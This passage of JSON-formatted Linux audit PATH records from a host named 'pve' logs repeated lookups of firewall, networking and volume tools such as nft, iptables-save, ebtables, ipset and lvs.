dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PATH msg=audit(1781964911.096:63175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PATH msg=audit(1781964911.096:63175): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PATH msg=audit(1781964911.096:63174): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=PATH msg=audit(1781964911.096:63173): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PATH msg=audit(1781964911.088:63172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PATH msg=audit(1781964911.088:63172): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PATH msg=audit(1781964911.088:63171): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=PATH msg=audit(1781964911.088:63170): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PATH msg=audit(1781964906.078:63169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PATH msg=audit(1781964906.078:63169): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PATH msg=audit(1781964906.078:63168): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=PATH msg=audit(1781964906.078:63167): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PATH msg=audit(1781964906.071:63166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PATH msg=audit(1781964906.071:63166): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PATH msg=audit(1781964906.071:63165): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=PATH msg=audit(1781964906.071:63164): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905294,"@rawstring":"node=pve type=PATH msg=audit(1781964905.294:63163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905294,"@rawstring":"node=pve type=PATH msg=audit(1781964905.294:63163): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905291,"@rawstring":"node=pve type=PATH msg=audit(1781964905.291:63162): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905291,"@rawstring":"node=pve type=PATH msg=audit(1781964905.291:63162): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=PATH msg=audit(1781964905.289:63161): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=PATH msg=audit(1781964905.289:63161): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=PATH msg=audit(1781964905.289:63160): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=PATH msg=audit(1781964905.285:63159): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=PATH msg=audit(1781964905.285:63159): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=PATH msg=audit(1781964905.285:63159): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905279,"@rawstring":"node=pve type=PATH msg=audit(1781964905.279:63158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905279,"@rawstring":"node=pve type=PATH msg=audit(1781964905.279:63158): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905273,"@rawstring":"node=pve type=PATH msg=audit(1781964905.273:63157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905273,"@rawstring":"node=pve type=PATH msg=audit(1781964905.273:63157): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905267,"@rawstring":"node=pve type=PATH msg=audit(1781964905.267:63156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905267,"@rawstring":"node=pve type=PATH msg=audit(1781964905.267:63156): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905261,"@rawstring":"node=pve type=PATH msg=audit(1781964905.261:63155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905261,"@rawstring":"node=pve type=PATH msg=audit(1781964905.261:63155): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905255,"@rawstring":"node=pve type=PATH msg=audit(1781964905.255:63153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905255,"@rawstring":"node=pve type=PATH msg=audit(1781964905.255:63153): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905250,"@rawstring":"node=pve type=PATH msg=audit(1781964905.250:63152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905250,"@rawstring":"node=pve type=PATH msg=audit(1781964905.250:63152): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905244,"@rawstring":"node=pve type=PATH msg=audit(1781964905.244:63151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905244,"@rawstring":"node=pve type=PATH msg=audit(1781964905.244:63151): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905238,"@rawstring":"node=pve type=PATH msg=audit(1781964905.238:63150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905238,"@rawstring":"node=pve type=PATH msg=audit(1781964905.238:63150): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905233,"@rawstring":"node=pve type=PATH msg=audit(1781964905.233:63149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905233,"@rawstring":"node=pve type=PATH msg=audit(1781964905.233:63149): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905228,"@rawstring":"node=pve type=PATH msg=audit(1781964905.228:63148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905228,"@rawstring":"node=pve type=PATH msg=audit(1781964905.228:63148): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905221,"@rawstring":"node=pve type=PATH msg=audit(1781964905.221:63147): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905221,"@rawstring":"node=pve type=PATH msg=audit(1781964905.221:63147): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905214,"@rawstring":"node=pve type=PATH msg=audit(1781964905.214:63146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905214,"@rawstring":"node=pve type=PATH msg=audit(1781964905.214:63146): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905210,"@rawstring":"node=pve type=PATH msg=audit(1781964905.210:63145): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905210,"@rawstring":"node=pve type=PATH msg=audit(1781964905.210:63145): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905207,"@rawstring":"node=pve type=PATH msg=audit(1781964905.207:63144): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905207,"@rawstring":"node=pve type=PATH msg=audit(1781964905.207:63144): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=PATH msg=audit(1781964905.206:63143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=PATH msg=audit(1781964905.206:63143): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=PATH msg=audit(1781964905.206:63142): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=PATH msg=audit(1781964905.201:63141): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=PATH msg=audit(1781964905.201:63141): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=PATH msg=audit(1781964905.201:63141): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905193,"@rawstring":"node=pve type=PATH msg=audit(1781964905.193:63140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905193,"@rawstring":"node=pve type=PATH msg=audit(1781964905.193:63140): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905185,"@rawstring":"node=pve type=PATH msg=audit(1781964905.185:63139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905185,"@rawstring":"node=pve type=PATH msg=audit(1781964905.185:63139): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905179,"@rawstring":"node=pve type=PATH msg=audit(1781964905.179:63138): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905179,"@rawstring":"node=pve type=PATH msg=audit(1781964905.179:63138): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905172,"@rawstring":"node=pve type=PATH msg=audit(1781964905.172:63137): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905172,"@rawstring":"node=pve type=PATH msg=audit(1781964905.172:63137): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905165,"@rawstring":"node=pve type=PATH msg=audit(1781964905.165:63136): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964905165,"@rawstring":"node=pve type=PATH msg=audit(1781964905.165:63136): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904054,"@rawstring":"node=pve type=PATH msg=audit(1781964904.054:63135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904054,"@rawstring":"node=pve type=PATH msg=audit(1781964904.054:63135): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904028,"@rawstring":"node=pve type=PATH msg=audit(1781964904.028:63134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964904028,"@rawstring":"node=pve type=PATH msg=audit(1781964904.028:63134): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PATH msg=audit(1781964901.063:63133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PATH msg=audit(1781964901.063:63133): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PATH msg=audit(1781964901.063:63132): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901063,"@rawstring":"node=pve type=PATH msg=audit(1781964901.063:63131): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PATH msg=audit(1781964901.057:63130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PATH msg=audit(1781964901.057:63130): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PATH msg=audit(1781964901.057:63129): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964901057,"@rawstring":"node=pve type=PATH msg=audit(1781964901.057:63128): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PATH msg=audit(1781964896.047:63127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PATH msg=audit(1781964896.047:63127): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PATH msg=audit(1781964896.047:63126): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=PATH msg=audit(1781964896.047:63125): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PATH msg=audit(1781964896.041:63124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PATH msg=audit(1781964896.041:63124): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PATH msg=audit(1781964896.041:63123): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=PATH msg=audit(1781964896.041:63122): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895152,"@rawstring":"node=pve type=PATH msg=audit(1781964895.152:63121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895152,"@rawstring":"node=pve type=PATH msg=audit(1781964895.152:63121): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PATH msg=audit(1781964895.144:63120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PATH msg=audit(1781964895.144:63120): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PATH msg=audit(1781964895.144:63119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=PATH msg=audit(1781964895.144:63119): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 